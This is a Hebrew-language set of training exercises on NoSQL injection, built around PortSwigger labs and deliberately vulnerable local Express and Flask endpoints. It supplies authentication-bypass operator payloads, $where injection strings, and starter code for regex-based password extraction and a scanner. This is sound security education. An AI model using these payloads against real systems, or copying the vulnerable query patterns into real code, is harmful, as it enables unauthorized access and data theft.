לדלג לתוכן

הזרקת NoSQL - תרגיל

תרגיל 1 - עקיפת אותנטיקציה

PortSwigger Lab: Exploiting NoSQL operator injection to bypass authentication

משימות

  1. גשו לעמוד ההתחברות של האפליקציה
  2. נסו להתחבר עם פרטים רגילים ובדקו את הבקשה ב-Burp Suite
  3. שנו את ה-Content-Type ל-application/json
  4. שלחו את ה-payload הבא:
{
    "username": "admin",
    "password": {"$ne": ""}
}
  1. אם לא עובד, נסו וריאציות:
  2. {"$gt": ""}
  3. {"$regex": ".*"}
  4. {"$exists": true}
  5. התחברו כ-admin והשלימו את המעבדה

תרגיל 2 - חילוץ נתונים עם $regex

PortSwigger Lab: Exploiting NoSQL injection to extract data

משימות

  1. מצאו נקודת הזרקה באפליקציה
  2. אשרו שניתן להשתמש ב-$regex:
{"username": "admin", "password": {"$regex": "^.*"}}
  1. כתבו סקריפט Python שמחלץ את הסיסמה תו אחר תו:
import requests
import string

url = "http://TARGET/login"
charset = string.ascii_lowercase + string.digits
password = ""

# השלימו את הסקריפט
  1. חלצו את הסיסמה המלאה
  2. התחברו עם הסיסמה שחילצתם

תרגיל 3 - הזרקת אופרטורים דרך Query Parameters

משימות

  1. הקימו סביבת Node.js מקומית עם Express ו-MongoDB
  2. צרו endpoint פגיע:
app.get('/users', async (req, res) => {
    const users = await User.find({
        role: req.query.role
    });
    res.json(users);
});
  1. נסו להזריק אופרטורים דרך URL:
GET /users?role[$ne]=user
GET /users?role[$regex]=^admin
  1. תעדו אילו אופרטורים עובדים ומה התוצאות

תרגיל 4 - הזרקת $where

משימות

  1. בסביבה המקומית, צרו endpoint שמשתמש ב-$where:
app.get('/search', async (req, res) => {
    const results = await Product.find({
        $where: `this.name.includes('${req.query.q}')`
    });
    res.json(results);
});
  1. נסו לשבור את הלוגיקה:
GET /search?q=') || true || ('
GET /search?q='); return true; //
  1. נסו לחלץ נתונים ממסד הנתונים דרך $where
  2. נסו מתקפת זמן (timing) לחילוץ עיוור

תרגיל 5 - NoSQL Injection ב-Python/Flask

משימות

  1. בהינתן הקוד הבא:
from flask import Flask, request, jsonify
from pymongo import MongoClient

app = Flask(__name__)
db = MongoClient()['shop']

@app.route('/api/products', methods=['POST'])
def search_products():
    data = request.get_json()
    query = {}

    if 'category' in data:
        query['category'] = data['category']
    if 'min_price' in data:
        query['price'] = {'$gte': data['min_price']}
    if 'name' in data:
        query['name'] = data['name']

    products = list(db.products.find(query))
    return jsonify(products)
  1. מצאו את כל נקודות ההזרקה
  2. כתבו payloads לכל אחת מהן
  3. הציעו תיקון לכל נקודה

תרגיל 6 - כל מעבדות PortSwigger

השלימו את כל המעבדות של PortSwigger בנושא NoSQL Injection:

  1. Detecting NoSQL injection (Apprentice)
  2. Exploiting NoSQL operator injection to bypass authentication (Practitioner)
  3. Exploiting NoSQL injection to extract data (Practitioner)
  4. Exploiting NoSQL operator injection to extract unknown fields (Practitioner)

לכל מעבדה תעדו

  • את נקודת ההזרקה
  • את ה-payload שהשתמשתם בו
  • את התוצאה שהשגתם
  • איך הייתם מגנים על הקוד

תרגיל 7 - כתיבת כלי סריקה

משימות

כתבו כלי Python שמבצע את הפעולות הבאות:

  1. בודק האם פרמטר פגיע ל-NoSQL Injection
  2. מנסה עקיפת אותנטיקציה עם אופרטורים שונים
  3. מחלץ נתונים עם $regex אוטומטית
  4. תומך גם ב-JSON body וגם ב-query parameters
# מבנה בסיסי - השלימו
class NoSQLScanner:
    def __init__(self, url, method='POST'):
        self.url = url
        self.method = method

    def test_auth_bypass(self, username_field, password_field):
        """בודק עקיפת אותנטיקציה"""
        pass

    def extract_field(self, known_fields, target_field):
        """מחלץ ערך שדה עם $regex"""
        pass

    def test_where_injection(self, param):
        """בודק הזרקת $where"""
        pass

אתגר מסכם

תרחיש

מצאתם אפליקציית Node.js עם הנקודות הבאות:
- POST /api/login - התחברות עם JSON body
- GET /api/users?role=user - חיפוש משתמשים
- GET /api/products?search=term - חיפוש מוצרים (משתמש ב-$where)

משימות

  1. עקפו את האותנטיקציה והתחברו כ-admin
  2. השתמשו ב-endpoint של המשתמשים כדי לגלות את כל המשתמשים
  3. חלצו את סיסמת ה-admin תו אחר תו עם $regex
  4. מצאו דרך לחלץ נתונים רגישים מה-endpoint של המוצרים
  5. כתבו writeup מלא עם כל הצעדים